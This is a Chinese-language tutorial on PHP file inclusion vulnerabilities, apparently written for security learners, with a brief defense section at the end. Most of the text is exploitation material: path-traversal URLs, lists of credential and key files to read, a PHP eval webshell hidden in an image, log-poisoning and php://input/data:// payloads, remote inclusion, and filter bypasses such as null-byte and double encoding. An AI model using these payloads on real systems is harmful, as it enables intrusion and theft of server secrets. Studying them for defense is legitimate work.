文件包含介绍
包含函数
require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
require('database.php')
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include('database.php')
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
其他语言包含函数:
PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:java.io.file()、java.io.filereader()
ASP:include file、include virtual
文件包含漏洞
漏洞产生原因:程序在通过函数包含文件时,由于传入的包含文件是用户可控的且没有经过严格的校验,从而可以去包含一个恶意文件,就可能导致意外的文件泄露甚至服务器沦陷。
第一:包含函数参数没有经过严格过滤
第二:包含函数参数是可控的
可以进行获取服务器shell,获取服务器敏感文件
漏洞分类
本地文件包含
即被包含的文件在本地。
指通过相对路径/绝对路径的方式打开本地文件的漏洞。包含的条件:用户可以动态控制变量
包含敏感文件
http://192.168.174.1/BC/pikachu-master/vul/fileinclude/fi_local.php? filename=../../../../../Windows/win.ini&submit=搜索
根据路径来加入../,进行上层路径的返回
包含常用路径
Web应用相关文件
# 读取网站配置文件 dedecms 数据库配置文件 data/common.inc.php discuz 全局配置文件 config/config_global.php phpcms 配置文件 caches/configs/database.php phpwind 配置文件 conf/database.php wordpress 配置文件 wp-config.php
系统相关文件
# Windows C:/boot.ini 查看系统版本 C:/Windows/System32/inetsrv/MetaBase.xml IIS 配置文件 C:/Windows/repairsam 存储系统初次安装的密码 C:/Program Files/mysql/my.ini Mysql 配置 # Linux /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore
集成软件默认路径
XAMPP:C:\xampp\htdocs WampServer:C:\wampwww MAMP:C:\MAMP\htdocs EasyPHP:C:\EasyPHP\www
包含图片木马
<?php phpinfo();eval($_POST['cmd']);?> 保存为shell.jpg copy 1.jpg/b + 2.php/a 3.jpg 进行图片木马的合成
上传图片到网站,再用文件包含漏洞引入图片,成功执行代码
包含WEB日志
包含日志文件GetShell
利用条件:需要知道服务器日志的存储路径,且日志文件可读。
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码,也可以引入到文件包含中,如果日志有 php 恶意代码,也可导致 getshell;
原理:当访问不存在的资源时,Apache会记录下来,这就意味着,如果网站存在文件包含漏洞,却没有可包含的文件时,就可以去访问 URL:www.xxx.com/<?php phpinfo() ?;> 这样访问不存在的资源就会记录到错误日志中,然后在包含错误文件,就可以完成利用。
PHP代码中的“< > 空格”都被浏览器给转码了,这样攻击者就无法正常利用Apache包含漏洞。一般来说,“一些脚本小子”到了这里就无法再继续深入了,但是对于比较资深的黑客来说,这根本不是问题,攻击者可以通过Burp Suite来进行编码的绕过
包含日志文件GetShell
包含SSH日志
利用方法:
写入日志文件内容
通过文件包含,包含SSH日志文件
PHP伪装协议
file: 访问本地文件系统 http: 访问 HTTP(s) 网址 ftp: 访问 FTP(s) URLs php: 访问各个输入/输出流(I/O streams) zlib: 压缩流 data: 数据(RFC 2397) glob: 查找匹配的文件路径模式 phar: PHP 归档 ssh2: Secure Shell 2 rar: RAR ogg: 音频流
php.ini 参数设置
allow_url_fopen : 这个选项默认值是 On,表示允许通过 URL打开文件。
allow_url_include : 这个选项默认值也是 On,表示允许包含远程文件。
file://协议
?file=file://C://windows/win.ini
php://input使用条件:PHP版本大于等于5.2 、allow_url_include: on
http://127.0.0.1/NEW/Include/ctf/index.php?path=php://input file_put_contents('filenmae','内容') fputs(fopen('file','w'),'内容')
php://data协议
从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。这里需要注意若使用data的话需要allow_url_include 和allow_url_fopen为on。
data:// text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTsgPz4= "PD9waHAgcGhwaW5mbygpPz4=" 是通过base64加密的\<?php phpinfo();?\>
远程文件包含
条件:当 allow_url_fopen=On allow_url_include=On 两个条件同时为 On 允许远程包含文件;magic_quotes_gpc=off
步骤一:将一句话木马存放到远端Web服务器中
步骤二:通过文件包含漏洞包含远端Web服务器中的1.txt恶意文件
文件包含限制绕过
00字符截断
主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:php < 5.3.4、magic_quotes_gpc=off
使用方法
主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名,00截断就能帮助绕过这类限制完成getshell
路径长度截断
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 ̷ 198),超出的部分会被丢弃
使用方法:将文件名命名为超过系统目录的最长长度限制
问号绕过
远程包含文件时,服务端代码指定了包含文件的文件类型
- [访问参数] ?file=http://localhost:8081/phpinfo.php? - [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
#号绕过
payload:1.php?file=http://127.0.0.1/1.txt%23
空格绕过
1.php?file=http://127.0.0.1/1.txt%20 1.php?file=http://127.0.0.1/1.txt+ 1.php?file=http://127.0.0.1/1.txt abc
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。利用URL编码绕过
%2e%2e%2f = ../ %2e%2e%5c = ..\
二次url编码
%252e%252e%252f%252e%252e%252f -----> 服务器接收解码一次 %2e%2f
漏洞防御
-
严格判断包含函数中的参数是否外部可控,因为文件包含漏洞利用成功与否的
-
关键点就在于被包含的文件是否可被外部控制;
-
路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;
-
包含文件验证:验证被包含的文件是否是白名单中的一员;
-
尽 量 不 要 使 用 动 态 包 含 , 可 以 在 需 要 包 含 的 页 面 固 定 写 好 , 如 :include('head.php')